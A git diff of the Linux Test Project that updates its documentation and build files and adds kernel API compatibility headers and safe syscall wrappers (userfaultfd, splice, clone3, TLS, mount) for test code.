diff --git a/ltp/doc/developers/writing_tests.rst b/ltp/doc/developers/writing_tests.rst index 24ea2654..35ae84c6 100644 --- a/ltp/doc/developers/writing_tests.rst +++ b/ltp/doc/developers/writing_tests.rst @@ -88,8 +88,7 @@ C coding style LTP adopted `Linux kernel coding style `_. Run ``make check`` in the test's directory and/or use ``make check-$TCID``, it -uses (among other checks) our vendoring version of -`checkpatch.pl `_ +uses (among other checks) our vendoring version of :kernel_tree:`scripts/checkpatch.pl` script from kernel git tree. .. note:: @@ -179,8 +178,8 @@ Here there are some common sense style rules for shell * Quote variables * Be consistent -3 Backwards compatibility -~~~~~~~~~~~~~~~~~~~~~~~~~ +Backwards compatibility +~~~~~~~~~~~~~~~~~~~~~~~ LTP test should be as backward compatible as possible. Think of an enterprise distributions with long term support (more than five years since the initial @@ -257,9 +256,8 @@ Runtest Files ~~~~~~~~~~~~~ The list of tests to be executed is stored in runtest files under the -:master:`runtest` directory. The default set of runtest files to be executed is -stored in :master:`scenario_groups/default`. When you add a test, you should add -corresponding entries into some runtest file(s) as well. +:master:`runtest` directory. When you add a test, you should add corresponding +entries into some runtest file(s) as well. Each line of runtest file contains one test. The first item is the test name. All other items, separated by space will be executed as a command. @@ -437,7 +435,7 @@ LTP C And Shell Test API Comparison * - .needs_device - TST_NEEDS_DEVICE - * - .needs_drivers + * - removed - TST_NEEDS_DRIVERS * - .needs_kconfigs diff --git a/ltp/doc/index.rst b/ltp/doc/index.rst index acd16cdb..f80ca4be 100644 --- a/ltp/doc/index.rst +++ b/ltp/doc/index.rst @@ -11,7 +11,8 @@ users/setup_tests users/testers_guide users/supported_systems - users/stats + users/supported_syscalls + users/cve_catalog users/test_catalog .. toctree:: @@ -19,6 +20,7 @@ :hidden: :caption: For developers + developers/ground_rules developers/setup_mailinglist developers/writing_tests developers/test_case_tutorial @@ -30,6 +32,7 @@ developers/build_system developers/debugging developers/documentation + developers/todo .. toctree:: :maxdepth: 3 @@ -53,8 +56,11 @@ For users :doc:`users/supported_systems` A list of supported technologies by the LTP framework -:doc:`users/stats` - Some LTP statistics +:doc:`users/supported_syscalls` + Syscalls supported by LTP tests + +:doc:`users/cve_catalog` + LTP reproducers for known CVEs :doc:`users/test_catalog` The LTP test catalog @@ -65,7 +71,7 @@ For developers .. descriptions here are active :doc:`developers/setup_mailinglist` - How to configure git and to start sending patches via :git_man:`send-email`. + How to configure git and to start sending patches via :manpage:`git-send-email(1)`. :doc:`developers/writing_tests` Starting guide on writing tests @@ -97,6 +103,9 @@ For developers :doc:`developers/documentation` How to use and develop LTP documentation +:doc:`developers/todo` + List of tasks maintainers are working on + For maintainers --------------- diff --git a/ltp/doc/old/C-Test-API.asciidoc b/ltp/doc/old/C-Test-API.asciidoc index 72fd2731..38dae986 100644 --- a/ltp/doc/old/C-Test-API.asciidoc +++ b/ltp/doc/old/C-Test-API.asciidoc @@ -232,8 +232,8 @@ Printf-like function to report test result, it's mostly used with ttype: | 'TPASS' | Test has passed. | 'TFAIL' | Test has failed. | 'TINFO' | General message. -| 'TDEBUG' | Debug message (new C API only, printed with '-D' or via 'LTP_ENABLE_DEBUG=1' or 'y' - environment variable), only for messages which would be too verbose for normal run. +| 'TDEBUG' | Debug message (new C API only, enabled via '-D' or 'LTP_DEBUG' environment variable) + only for messages which would be too verbose for normal run. | 'TWARN' | Something went wrong but we decided to continue. Mostly used in cleanup functions. |============================== @@ -1621,13 +1621,12 @@ test should include 'tst_checksum.h' header, then can call 'tst_crc32c()'. 1.26 Checking kernel for the driver support ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Some tests may need specific kernel drivers, either compiled in, or built -as a module. If '.needs_drivers' points to a 'NULL' terminated array of kernel -module names these are all checked and the test exits with 'TCONF' on the -first missing driver. - -The detection is based on reading 'modules.dep' and 'modules.builtin' files -generated by kmod. The check is skipped on Android. +Some tests may need specific kernel drivers, either compiled in, or built as a +module. For this cases a mapping of kernel config options to modules is +maintained in the kconfig checker. When a kernel config option is requested by +a test that has associated mapping in the kconfig source the ``modules.dep`` +file is checked for module presence when the option is set to ``m``. The check +is skipped on Android. 1.27 Saving & restoring /proc|sys values ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/ltp/doc/requirements.txt b/ltp/doc/requirements.txt index 1b9a9845..442ff2ee 100644 --- a/ltp/doc/requirements.txt +++ b/ltp/doc/requirements.txt @@ -3,5 +3,8 @@ sphinx==7.2.6 sphinx-rtd-theme==2.0.0 -linuxdoc==20231020 +linuxdoc==20240924 sphinxcontrib-spelling==7.7.0 + +# workaround for linuxdoc <= 20240924 +setuptools==81.0.0 diff --git a/ltp/doc/users/cve_catalog.rst b/ltp/doc/users/cve_catalog.rst new file mode 100644 index 00000000..5a5b9b54 --- /dev/null +++ b/ltp/doc/users/cve_catalog.rst @@ -0,0 +1,6 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +CVE catalog +=========== + +.. include:: ../_static/cve.rst diff --git a/ltp/doc/users/quick_start.rst b/ltp/doc/users/quick_start.rst index e73175e3..cf1c9ef2 100644 --- a/ltp/doc/users/quick_start.rst +++ b/ltp/doc/users/quick_start.rst @@ -87,7 +87,7 @@ To run all the test suites $ cd /opt/ltp $ # run syscalls testing suite - $ ./kirk -U ltp -f syscalls + $ ./kirk -f syscalls .. note:: diff --git a/ltp/doc/users/setup_tests.rst b/ltp/doc/users/setup_tests.rst index 38976f3b..a085d281 100644 --- a/ltp/doc/users/setup_tests.rst +++ b/ltp/doc/users/setup_tests.rst @@ -43,8 +43,9 @@ users. Shell language: ``TST_NEEDS_DEVICE=1``. * - LTP_REPRODUCIBLE_OUTPUT - - When set to ``1`` or ``y`` discards the actual content of the messages - printed by the test (suitable for a reproducible output). + - When set to ``1`` or ``y`` suppress printing TINFO and TDEBUG messages + and discards the actual content of the other messages printed by the + test (suitable for a reproducible output). * - LTP_SINGLE_FS_TYPE - Specifies single filesystem to run the test on instead all supported @@ -68,8 +69,9 @@ users. both up and down with this multiplier. This is not yet implemented in the shell API. - * - LTP_IMA_LOAD_POLICY - - Load IMA example policy, see :master:`testcases/kernel/security/integrity/ima/README.md`. + * - LTP_USR_UID, LTP_USR_GID + - Set UID and GID of ``nobody`` user for :doc:`../developers/api_shell_tests`, + see :master:`testcases/lib/tst_runas.c`. * - LTP_VIRT_OVERRIDE - Overrides virtual machine detection in the test library. Setting it to @@ -89,12 +91,34 @@ users. - Disable running test cleanup (defined in ``TST_CLEANUP``). Shell API only. - * - LTP_ENABLE_DEBUG - - Enable debug info (value ``1`` or ``y``). Equivalent of ``-D`` parameter. + * - LTP_DEBUG + - Enable debug info (value ``1`` (``y``) or ``2`` for more verbose level). + Equivalent of the ``-D`` parameter (see :doc:`../developers/debugging`). -Environment variables for network tests -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -See :master:`testcases/network/README.md`. +Test specific environment variables +----------------------------------- + +.. list-table:: + :header-rows: 1 + + * - Tests + - Variable + - Note + + * - IMA + - LTP_IMA_LOAD_POLICY=1 + - Load IMA example policy, see + :master:`testcases/kernel/security/integrity/ima/README.md`. + + * - NFS + - LTP_NFS_NETNS_USE_LO=1 + - NFS traffic will go through loopback interface instead of ltp_ns_veth* + netns interfaces (useful for debugging whether test failures are related + to veth/netns). + + * - Network + - *various* + - See :master:`testcases/network/README.md`. Test execution time and timeout ------------------------------- diff --git a/ltp/doc/users/stats.rst b/ltp/doc/users/supported_syscalls.rst similarity index 40% rename from ltp/doc/users/stats.rst rename to ltp/doc/users/supported_syscalls.rst index 7073442a..6914852c 100644 --- a/ltp/doc/users/stats.rst +++ b/ltp/doc/users/supported_syscalls.rst @@ -1,9 +1,9 @@ .. SPDX-License-Identifier: GPL-2.0-or-later -Statistics -========== +Supported syscalls +================== -In this section we collect some statistics related to the current state of -LTP tests. +In this section we collect information about syscalls that are currently +tested by LTP. .. include:: ../_static/syscalls.rst diff --git a/ltp/doc/users/supported_systems.rst b/ltp/doc/users/supported_systems.rst index dabb5883..b241d057 100644 --- a/ltp/doc/users/supported_systems.rst +++ b/ltp/doc/users/supported_systems.rst @@ -34,12 +34,6 @@ Oldest build tested distributions - 4.8.5 - \- - * - Ubuntu 18.04 LTS bionic - - 4.15 - - 2.27 - - 7.3.0 - - \- - * - Debian 11 (bullseye) - 5.10 - 2.31 diff --git a/ltp/include/Makefile b/ltp/include/Makefile index 6b31b046..7fe72a25 100644 --- a/ltp/include/Makefile +++ b/ltp/include/Makefile @@ -1,19 +1,12 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (C) 2009, Cisco Systems Inc. +# Copyright (c) Linux Test Project, 2026 # Ngie Cooper, July 2009 top_srcdir ?= .. include $(top_srcdir)/include/mk/env_pre.mk -INSTALL_DIR := $(includedir) - -INSTALL_MODE := 00644 - -INSTALL_TARGETS := *.h - -MAKE_TARGETS := - .PHONY: ac-clean ac-distclean ac-maintainer-clean distclean maintainer-clean distclean:: clean ac-distclean maintainer-clean:: distclean ac-maintainer-clean @@ -24,4 +17,4 @@ ac-maintainer-clean:: ac-clean vpath %.h $(abs_srcdir) -include $(top_srcdir)/include/mk/generic_leaf_target.mk +include $(top_srcdir)/include/mk/generic_trunk_target.mk diff --git a/ltp/include/lapi/Makefile b/ltp/include/lapi/Makefile new file mode 100644 index 00000000..bfd50478 --- /dev/null +++ b/ltp/include/lapi/Makefile @@ -0,0 +1,7 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2026 + +top_srcdir ?= ../../ + +include $(top_srcdir)/include/mk/env_pre.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/include/lapi/aio_abi.h b/ltp/include/lapi/aio_abi.h new file mode 100644 index 00000000..ac78e550 --- /dev/null +++ b/ltp/include/lapi/aio_abi.h @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Wei Gao + */ + +#ifndef LAPI_AIO_ABI_H__ +#define LAPI_AIO_ABI_H__ + +#include +#include + +#ifndef RWF_NOWAIT +# define RWF_NOWAIT 0x00000008 +#endif + +struct iocb_fallback { + uint64_t aio_data; +#if __BYTE_ORDER == __LITTLE_ENDIAN + uint32_t aio_key; + uint32_t aio_rw_flags; +#elif __BYTE_ORDER == __BIG_ENDIAN + uint32_t aio_rw_flags; + uint32_t aio_key; +#else +#error edit for your odd byteorder. +#endif + uint16_t aio_lio_opcode; + int16_t aio_reqprio; + uint32_t aio_fildes; + uint64_t aio_buf; + uint64_t aio_nbytes; + int64_t aio_offset; + uint64_t aio_reserved2; + uint32_t aio_flags; + uint32_t aio_resfd; +}; + +#ifndef HAVE_STRUCT_IOCB_AIO_RW_FLAGS +typedef struct iocb_fallback iocb; +#else +typedef struct iocb iocb; +#endif + +#endif /* LAPI_AIO_ABI_H__ */ diff --git a/ltp/include/lapi/fcntl.h b/ltp/include/lapi/fcntl.h index 7c050248..55a5e8b4 100644 --- a/ltp/include/lapi/fcntl.h +++ b/ltp/include/lapi/fcntl.h @@ -98,6 +98,10 @@ # define AT_HANDLE_FID AT_REMOVEDIR #endif +#ifndef AT_HANDLE_CONNECTABLE +# define AT_HANDLE_CONNECTABLE 0x002 +#endif + #ifndef AT_SYMLINK_FOLLOW # define AT_SYMLINK_FOLLOW 0x400 #endif diff --git a/ltp/include/lapi/fs.h b/ltp/include/lapi/fs.h index 6b5056bd..471ad0a2 100644 --- a/ltp/include/lapi/fs.h +++ b/ltp/include/lapi/fs.h @@ -136,4 +136,25 @@ static inline int file_setattr(int dfd, const char *filename, } #endif +#ifndef HAVE_STRUCT_LOGICAL_BLOCK_METADATA_CAP +struct logical_block_metadata_cap { + uint32_t lbmd_flags; + uint16_t lbmd_interval; + uint8_t lbmd_size; + uint8_t lbmd_opaque_size; + uint8_t lbmd_opaque_offset; + uint8_t lbmd_pi_size; + uint8_t lbmd_pi_offset; + uint8_t lbmd_guard_tag_type; + uint8_t lbmd_app_tag_size; + uint8_t lbmd_ref_tag_size; + uint8_t lbmd_storage_tag_size; + uint8_t pad; +}; +#endif + +#ifndef FS_IOC_GETLBMD_CAP +# define FS_IOC_GETLBMD_CAP _IOWR(0x15, 2, struct logical_block_metadata_cap) +#endif + #endif /* LAPI_FS_H__ */ diff --git a/ltp/include/lapi/fsmount.h b/ltp/include/lapi/fsmount.h index 1783272a..451987ae 100644 --- a/ltp/include/lapi/fsmount.h +++ b/ltp/include/lapi/fsmount.h @@ -105,6 +105,14 @@ static inline int open_tree(int dirfd, const char *pathname, unsigned int flags) } #endif /* HAVE_OPEN_TREE */ +#ifndef HAVE_OPEN_TREE_ATTR +static inline int open_tree_attr(int dirfd, const char *pathname, unsigned int flags, + struct mount_attr *attr, size_t size) +{ + return tst_syscall(__NR_open_tree_attr, dirfd, pathname, flags, attr, size); +} +#endif /* HAVE_OPEN_TREE_ATTR */ + #ifndef HAVE_MOUNT_SETATTR static inline int mount_setattr(int dirfd, const char *from_pathname, unsigned int flags, struct mount_attr *attr, size_t size) diff --git a/ltp/include/lapi/io_uring.h b/ltp/include/lapi/io_uring.h index c0551759..2026863a 100644 --- a/ltp/include/lapi/io_uring.h +++ b/ltp/include/lapi/io_uring.h @@ -253,6 +253,16 @@ struct io_uring_probe { struct io_uring_probe_op ops[0]; }; +#else /* IOSQE_FIXED_FILE */ + +#if !HAVE_DECL_IORING_OP_READ +#define IORING_OP_READ 22 +#endif + +#if !HAVE_DECL_IORING_OP_WRITE +#define IORING_OP_WRITE 23 +#endif + #endif /* IOSQE_FIXED_FILE */ #ifndef IOSQE_IO_HADRLINK diff --git a/ltp/include/lapi/keyctl.h b/ltp/include/lapi/keyctl.h index e08b8f13..83fa0930 100644 --- a/ltp/include/lapi/keyctl.h +++ b/ltp/include/lapi/keyctl.h @@ -212,7 +212,8 @@ static inline long safe_keyctl(const char *file, const int lineno, rval = keyctl(cmd, arg2, arg3, arg4, arg5); if (rval == -1) { - tst_brk_(file, lineno, TBROK | TERRNO, + tst_brk_(file, lineno, + (errno == EOPNOTSUPP ? TCONF : TBROK) | TERRNO, "keyctl(%d, %lu, %lu, %lu, %lu)", cmd, arg2, arg3, arg4, arg5); } diff --git a/ltp/include/lapi/mmap.h b/ltp/include/lapi/mmap.h index 248b6456..3908310f 100644 --- a/ltp/include/lapi/mmap.h +++ b/ltp/include/lapi/mmap.h @@ -91,6 +91,10 @@ # define MAP_DROPPABLE 0x08 #endif +#ifndef MREMAP_DONTUNMAP +# define MREMAP_DONTUNMAP 4 +#endif + #ifndef MAP_FIXED_NOREPLACE #ifdef __alpha__ diff --git a/ltp/include/lapi/mount.h b/ltp/include/lapi/mount.h index 0f7bb5e4..3b296fc9 100644 --- a/ltp/include/lapi/mount.h +++ b/ltp/include/lapi/mount.h @@ -45,14 +45,18 @@ # define MS_NOSYMFOLLOW 256 #endif -#ifndef HAVE_STRUCT_MNT_ID_REQ -struct mnt_id_req { +struct mnt_id_req_fallback { uint32_t size; - uint32_t spare; + uint32_t mnt_ns_fd; uint64_t mnt_id; uint64_t param; uint64_t mnt_ns_id; }; + +#ifndef HAVE_STRUCT_MNT_ID_REQ_MNT_NS_FD +typedef struct mnt_id_req_fallback mnt_id_req; +#else +typedef struct mnt_id_req mnt_id_req; #endif #ifndef HAVE_STRUCT_STATMOUNT diff --git a/ltp/include/lapi/rt_sigaction.h b/ltp/include/lapi/rt_sigaction.h index a42b690d..1e5911dd 100644 --- a/ltp/include/lapi/rt_sigaction.h +++ b/ltp/include/lapi/rt_sigaction.h @@ -9,7 +9,7 @@ #ifndef LAPI_RT_SIGACTION_H__ #define LAPI_RT_SIGACTION_H__ -#include "ltp_signal.h" +#include "tso_signal.h" #define INVAL_SA_PTR ((void *)-1) diff --git a/ltp/include/lapi/sched.h b/ltp/include/lapi/sched.h index 36f1ecad..05b322c1 100644 --- a/ltp/include/lapi/sched.h +++ b/ltp/include/lapi/sched.h @@ -49,8 +49,7 @@ static inline int sched_getattr(pid_t pid, struct sched_attr *attr, # define SCHED_ATTR_SIZE_VER0 48 /* sizeof first published struct */ #endif -#ifndef HAVE_CLONE3 -struct clone_args { +struct clone_args_minimal { uint64_t __attribute__((aligned(8))) flags; uint64_t __attribute__((aligned(8))) pidfd; uint64_t __attribute__((aligned(8))) child_tid; @@ -59,12 +58,10 @@ struct clone_args { uint64_t __attribute__((aligned(8))) stack; uint64_t __attribute__((aligned(8))) stack_size; uint64_t __attribute__((aligned(8))) tls; - uint64_t __attribute__((aligned(8))) set_tid; - uint64_t __attribute__((aligned(8))) set_tid_size; - uint64_t __attribute__((aligned(8))) cgroup; }; -struct clone_args_minimal { +#ifndef HAVE_STRUCT_CLONE_ARGS +struct clone_args { uint64_t __attribute__((aligned(8))) flags; uint64_t __attribute__((aligned(8))) pidfd; uint64_t __attribute__((aligned(8))) child_tid; @@ -73,12 +70,28 @@ struct clone_args_minimal { uint64_t __attribute__((aligned(8))) stack; uint64_t __attribute__((aligned(8))) stack_size; uint64_t __attribute__((aligned(8))) tls; + uint64_t __attribute__((aligned(8))) set_tid; + uint64_t __attribute__((aligned(8))) set_tid_size; + uint64_t __attribute__((aligned(8))) cgroup; }; +#endif -static inline int clone3(struct clone_args *args, size_t size) +static inline int ltp_clone3_raw(struct clone_args *args, size_t size) { return tst_syscall(__NR_clone3, args, size); } + +#ifdef HAVE_CLONE3 +static inline int ltp_clone3(struct clone_args *cl_args, size_t size, + int (*fn)(void *), void *arg) { + return clone3(cl_args, size, fn, arg); +} +#else +static inline int ltp_clone3(struct clone_args *cl_args, size_t size, + int (*fn)(void *), void *arg) +{ + return -1; +} #endif static inline void clone3_supported_by_kernel(void) diff --git a/ltp/include/lapi/splice.h b/ltp/include/lapi/splice.h index 191b22d2..9d5a9c97 100644 --- a/ltp/include/lapi/splice.h +++ b/ltp/include/lapi/splice.h @@ -7,9 +7,20 @@ #ifndef LAPI_SPLICE_H__ #define LAPI_SPLICE_H__ +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif + +#include +#include + #include "config.h" #include "lapi/syscalls.h" +#ifndef SPLICE_F_MORE +# define SPLICE_F_MORE 4 +#endif + #if !defined(HAVE_SPLICE) static inline ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags) @@ -19,4 +30,26 @@ static inline ssize_t splice(int fd_in, loff_t *off_in, int fd_out, } #endif +static inline ssize_t safe_splice(const char *file, const int lineno, + int fd_in, loff_t *off_in, + int fd_out, loff_t *off_out, + size_t len, unsigned int flags) +{ + ssize_t ret; + + ret = splice(fd_in, off_in, fd_out, off_out, len, flags); + + if (ret < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "splice(%d, %p, %d, %p, %zu, %u) failed", + fd_in, off_in, fd_out, off_out, len, flags); + } + + return ret; +} + +#define SAFE_SPLICE(fd_in, off_in, fd_out, off_out, len, flags) \ + safe_splice(__FILE__, __LINE__, (fd_in), (off_in), (fd_out), \ + (off_out), (len), (flags)) + #endif /* LAPI_SPLICE_H__ */ diff --git a/ltp/include/lapi/tls.h b/ltp/include/lapi/tls.h new file mode 100644 index 00000000..7f2fa18a --- /dev/null +++ b/ltp/include/lapi/tls.h @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Red Hat Inc. All Rights Reserved. + * Author: Chunfu Wen + */ + +/*\ + * CLONE_SETTLS init/alloc/free common functions. + */ + +#ifndef LAPI_TLS_H__ +#define LAPI_TLS_H__ + +#include +#include +#include +#include +#include + +#include "tst_test.h" + +#define TLS_SIZE 4096 +#define TLS_ALIGN 16 + +/* + * Space allocated large enough to hold a struct pthread. + * + * Zero-initialized to ensure THREAD_SELF->cancelhandling starts at 0, + * avoiding undefined behavior (e.g., in clone10.c) in __pthread_disable_asynccancel(), + * which is called at thread cancellation points such as write(). + */ +#define TLS_PRE_TCB_SIZE (TLS_ALIGN * 256) + +#if defined(__x86_64__) +typedef struct { + void *tcb; + void *dtv; + void *self; + int multiple_threads; + char padding[64]; +} tcb_t; +#endif + +extern void *tls_ptr; + +static inline void *allocate_tls_area(void) +{ + char *tls_area = aligned_alloc(TLS_ALIGN, TLS_PRE_TCB_SIZE + TLS_SIZE); + if (!tls_area) + tst_brk(TBROK | TERRNO, "aligned_alloc failed"); + memset(tls_area, 0, TLS_PRE_TCB_SIZE + TLS_SIZE); + tls_area += TLS_PRE_TCB_SIZE; + +#if defined(__x86_64__) + tcb_t *tcb = (tcb_t *)tls_area; + tcb->tcb = tls_area; + tcb->self = tls_area; + tcb->multiple_threads = 1; +#endif + return tls_area; +} + +static inline void init_tls(void) +{ + tls_ptr = allocate_tls_area(); +} + +static inline void free_tls(void) +{ + usleep(10000); + if (tls_ptr) { + free(((char *)tls_ptr) - TLS_PRE_TCB_SIZE); + tls_ptr = NULL; + } +} + +#endif /* LAPI_TLS_H__ */ diff --git a/ltp/include/lapi/udp.h b/ltp/include/lapi/udp.h index 5c73dd36..93b24fc3 100644 --- a/ltp/include/lapi/udp.h +++ b/ltp/include/lapi/udp.h @@ -15,4 +15,12 @@ # define UDPLITE_RECV_CSCOV 11 /* receiver partial coverage (threshold ) */ #endif +#ifndef UDP_ENCAP +# define UDP_ENCAP 100 +#endif + +#ifndef UDP_ENCAP_ESPINUDP +# define UDP_ENCAP_ESPINUDP 2 +#endif + #endif /* LAPI_UDP_H__ */ diff --git a/ltp/include/lapi/userfaultfd.h b/ltp/include/lapi/userfaultfd.h index 4d52b7c4..170dfadd 100644 --- a/ltp/include/lapi/userfaultfd.h +++ b/ltp/include/lapi/userfaultfd.h @@ -2,6 +2,7 @@ /* * Copyright (C) 2007 Davide Libenzi * Copyright (C) 2015,2022 Red Hat, Inc. + * Copyright (c) Linux Test Project, 2025 * * Mostly copied/adapted from */ @@ -9,6 +10,7 @@ #ifndef LAPI_USERFAULTFD_H__ #define LAPI_USERFAULTFD_H__ +#include #include #include #include "lapi/syscalls.h" @@ -158,6 +160,12 @@ struct uffdio_zeropage { #define UFFD_USER_MODE_ONLY 1 #endif /* UFFD_USER_MODE_ONLY */ +#ifndef USERFAULTFD_IOC +#define USERFAULTFD_IOC 0xAA +#endif /* USERFAULTFD_IOC */ +#ifndef USERFAULTFD_IOC_NEW +#define USERFAULTFD_IOC_NEW _IO(USERFAULTFD_IOC, 0x00) +#endif /* USERFAULTFD_IOC_NEW */ /* UFFD_PAGEFAULT_FLAG_MINOR and UFFDIO_CONTINUE were added in v5.13 */ #ifndef UFFD_PAGEFAULT_FLAG_MINOR @@ -187,4 +195,106 @@ struct uffdio_continue { #define UFFD_FEATURE_MINOR_SHMEM (1<<10) #endif /* UFFD_FEATURE_MINOR_SHMEM */ +#ifndef HAVE_STRUCT_UFFDIO_MOVE +#define _UFFDIO_MOVE (0x05) +#define UFFDIO_MOVE _IOWR(UFFDIO, _UFFDIO_MOVE, \ + struct uffdio_move) + +struct uffdio_move { + __u64 dst; + __u64 src; + __u64 len; + /* + * Especially if used to atomically remove memory from the + * address space the wake on the dst range is not needed. + */ +#define UFFDIO_MOVE_MODE_DONTWAKE ((__u64)1<<0) +#define UFFDIO_MOVE_MODE_ALLOW_SRC_HOLES ((__u64)1<<1) + __u64 mode; + /* + * "move" is written by the ioctl and must be at the end: the + * copy_from_user will not read the last 8 bytes. + */ + __s64 move; +}; +#endif /* HAVE_STRUCT_UFFDIO_MOVE */ + +#ifndef HAVE_STRUCT_UFFDIO_WRITEPROTECT +#define UFFD_FEATURE_PAGEFAULT_FLAG_WP (1<<0) +#define _UFFDIO_WRITEPROTECT (0x06) +#define UFFDIO_WRITEPROTECT _IOWR(UFFDIO, _UFFDIO_WRITEPROTECT, \ + struct uffdio_writeprotect) + +struct uffdio_writeprotect { + struct uffdio_range range; +#define UFFDIO_WRITEPROTECT_MODE_WP ((__u64)1<<0) +#define UFFDIO_WRITEPROTECT_MODE_DONTWAKE ((__u64)1<<1) + __u64 mode; +}; +#endif /* HAVE_STRUCT_UFFDIO_WRITEPROTECT */ + +#ifndef HAVE_STRUCT_UFFDIO_POISON +#define UFFD_FEATURE_POISON (1<<14) +#define _UFFDIO_POISON (0x08) +#define UFFDIO_POISON _IOWR(UFFDIO, _UFFDIO_POISON, \ + struct uffdio_poison) +struct uffdio_poison { + struct uffdio_range range; +#define UFFDIO_POISON_MODE_DONTWAKE ((__u64)1<<0) + __u64 mode; + __s64 updated; +}; +#endif /* HAVE_STRUCT_UFFDIO_POISON */ + +#define SAFE_USERFAULTFD(flags, retry) \ + safe_userfaultfd(__FILE__, __LINE__, (flags), (retry)) + +static inline int safe_userfaultfd(const char *file, const int lineno, int + flags, bool retry) +{ + int ret; + +retry: + ret = tst_syscall(__NR_userfaultfd, flags); + if (ret == -1) { + if (errno == EPERM) { + if (retry && !(flags & UFFD_USER_MODE_ONLY)) { + flags |= UFFD_USER_MODE_ONLY; + goto retry; + } + tst_res_(file, lineno, TINFO, + "Hint: check /proc/sys/vm/unprivileged_userfaultfd"); + tst_brk_(file, lineno, TCONF | TERRNO, + "userfaultfd() requires CAP_SYS_PTRACE on this system"); + } + tst_brk_(file, lineno, TBROK | TERRNO, + "syscall(__NR_userfaultfd, %d) failed", flags); + } else if (ret < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid syscall(__NR_userfaultfd, %d) return value %d", flags, ret); + } + + return ret; +} + +#define CHECK_UFFD_FEATURE(feature) check_uffd_feature(feature, #feature) + +static inline void check_uffd_feature(uint64_t feature, const char *name) +{ + struct uffdio_api uffdio_api = {}; + int uffd; + + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, false); + + uffdio_api.api = UFFD_API; + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + if (!(uffdio_api.features & feature)) { + SAFE_CLOSE(uffd); + tst_brk(TCONF, "%s not supported", name); + } + + SAFE_CLOSE(uffd); +} + #endif /* LAPI_USERFAULTFD_H__ */ diff --git a/ltp/include/lapi/vm_sockets.h b/ltp/include/lapi/vm_sockets.h index 07884e53..fda8c315 100644 --- a/ltp/include/lapi/vm_sockets.h +++ b/ltp/include/lapi/vm_sockets.h @@ -7,6 +7,7 @@ #define LAPI_VM_SOCKETS_H__ #include +#include "config.h" #if HAVE_LINUX_VM_SOCKETS_H # include @@ -16,4 +17,20 @@ # define VMADDR_CID_LOCAL 1 #endif +#ifndef HAVE_STRUCT_SOCKADDR_VM +struct sockaddr_vm { + unsigned short svm_family; + unsigned short svm_reserved1; + unsigned int svm_port; + unsigned int svm_cid; + unsigned char svm_flags; + unsigned char svm_zero[sizeof(struct sockaddr) - + sizeof(sa_family_t) - + sizeof(unsigned short) - + sizeof(unsigned int) - + sizeof(unsigned int) - + sizeof(unsigned char)]; +}; +#endif + #endif /* LAPI_VM_SOCKETS_H__ */ diff --git a/ltp/include/mk/env_post.mk b/ltp/include/mk/env_post.mk index ab31da73..1b0d3a2a 100644 --- a/ltp/include/mk/env_post.mk +++ b/ltp/include/mk/env_post.mk @@ -73,7 +73,7 @@ CHECK_TARGETS ?= $(addprefix check-,$(notdir $(patsubst %.c,%,$(sort $(wildcar CHECK_TARGETS := $(filter-out $(addprefix check-, $(FILTER_OUT_MAKE_TARGETS)), $(CHECK_TARGETS)) CHECK_HEADER_TARGETS ?= $(addprefix check-,$(notdir $(sort $(wildcard $(abs_srcdir)/*.h)))) CHECK ?= $(abs_top_srcdir)/tools/sparse/sparse-ltp -CHECK_NOFLAGS ?= $(abs_top_srcdir)/scripts/checkpatch.pl -f --no-tree --terse --no-summary --ignore CONST_STRUCT,VOLATILE,SPLIT_STRING,FILE_PATH_CHANGES +CHECK_NOFLAGS ?= CHECKPATCH_CONFIG_DIR="$(abs_top_srcdir)" $(abs_top_srcdir)/scripts/checkpatch.pl -f SHELL_CHECK ?= $(abs_top_srcdir)/scripts/checkbashisms.pl --force --extra SHELL_CHECK_TARGETS ?= $(addprefix check-,$(notdir $(sort $(wildcard $(abs_srcdir)/*.sh)))) diff --git a/ltp/include/old/old_resource.h b/ltp/include/old/old_resource.h deleted file mode 100644 index 46767f35..00000000 --- a/ltp/include/old/old_resource.h +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (C) 2012 Cyril Hrubis chrubis@suse.cz - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - */ - - /* - - Small helper for preparing files the test needs to copy before the testing. - - We need to support two scenarios. - - 1. Test is executed in local directory and this is also the place - we should look for files - - - 2. Test is executed after LTP has been installed, in this case we - look for env LTPROOT (usually /opt/ltp/) - - */ - -#ifndef TST_RESOURCE -#define TST_RESOURCE - -const char *tst_dataroot(void); - -/* - * Copy a file to the CWD. The destination is apended to CWD. - */ -#define TST_RESOURCE_COPY(cleanup_fn, filename, dest) \ - tst_resource_copy(__FILE__, __LINE__, (cleanup_fn), \ - (filename), (dest)) - -void tst_resource_copy(const char *file, const int lineno, - void (*cleanup_fn)(void), - const char *filename, const char *dest); - -#endif /* TST_RESOURCE */ diff --git a/ltp/include/old/test.h 